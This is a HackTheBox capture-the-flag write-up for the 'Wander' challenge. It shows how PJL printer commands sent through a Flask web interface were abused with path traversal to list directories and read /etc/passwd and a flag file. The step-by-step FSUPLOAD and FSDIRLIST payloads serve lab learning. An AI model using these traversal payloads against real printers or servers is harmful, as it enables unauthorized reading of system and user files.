Wander
hackthebox
Task: Exploit a web-based printer management interface to read the flag from the server filesystem. Solution: Use PJL (Printer Job Language) FSUPLOAD command with path traversal (0:/../../../) to escape the virtual filesystem and read /home/default/readyjob containing the flag.
$ ls tags/ techniques/
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Wander - HackTheBox
Description
My uncle isn't allowing me to print documents. He's off to vacation and I need a PIN to unlock this printer. All I found is a web server where this printer is managed from.
Target: http://94.237.120.74:48334
Analysis
Reconnaissance
- Web server running Werkzeug/2.0.1 Python/3.7.11 (Flask)
- Main dashboard at
/shows "Wander Dashboard" with "HTB Printer" - Found
/jobspage with a form to send PJL (Printer Job Language) commands - Form placeholder shows
@PJL INFO ID
Vulnerability Discovery
The web application accepts PJL commands and forwards them to a printer emulator. This is a classic printer exploitation scenario where PJL filesystem commands can be abused.
Key PJL commands that worked:
@PJL INFO ID- Returns "HTB Printer"@PJL INFO STATUS- Returns printer status (CODE=10001, DISPLAY="Ready", ONLINE=True)@PJL FSDIRLIST NAME="0:/" ENTRY=1- Lists printer filesystem directories
Path Traversal in FSUPLOAD
The @PJL FSUPLOAD command is vulnerable to path traversal. The printer uses a virtual filesystem starting at 0:/, but we can escape it using ../:
@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=5000
This allowed reading arbitrary files from the server filesystem.
Solution
Step 1: Enumerate Printer Filesystem
First, list the printer's virtual filesystem:
@PJL FSDIRLIST NAME="0:/" ENTRY=1
Step 2: Confirm Path Traversal
Test path traversal by reading /etc/passwd:
@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=5000
Step 3: Enumerate Root Filesystem
Use FSDIRLIST with path traversal to enumerate directories:
@PJL FSDIRLIST NAME="0:/../../../" ENTRY=1
Found directories: etc, conf, home, rw, tmp, csr_misc, printer
Step 4: Explore Home Directory
@PJL FSDIRLIST NAME="0:/../../../home/" ENTRY=1
@PJL FSDIRLIST NAME="0:/../../../home/default/" ENTRY=1
Found a file called readyjob in /home/default/.
Step 5: Read the Flag
@PJL FSUPLOAD NAME="0:/../../../home/default/readyjob" OFFSET=0 SIZE=1000
...
$ grep --similar
Similar writeups
- [web][Pro]Lab 13 — WebForge — Insecure Deserialization in Config Import— hackadvisor
- [pentest][free]WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)— hackthebox
- [web][Pro]SWE Intern at Girly Pop Inc — Writeup— scarlet
- [web][free]Offlinea— HackTheBox
- [pwn][free]0xDiablos— hackthebox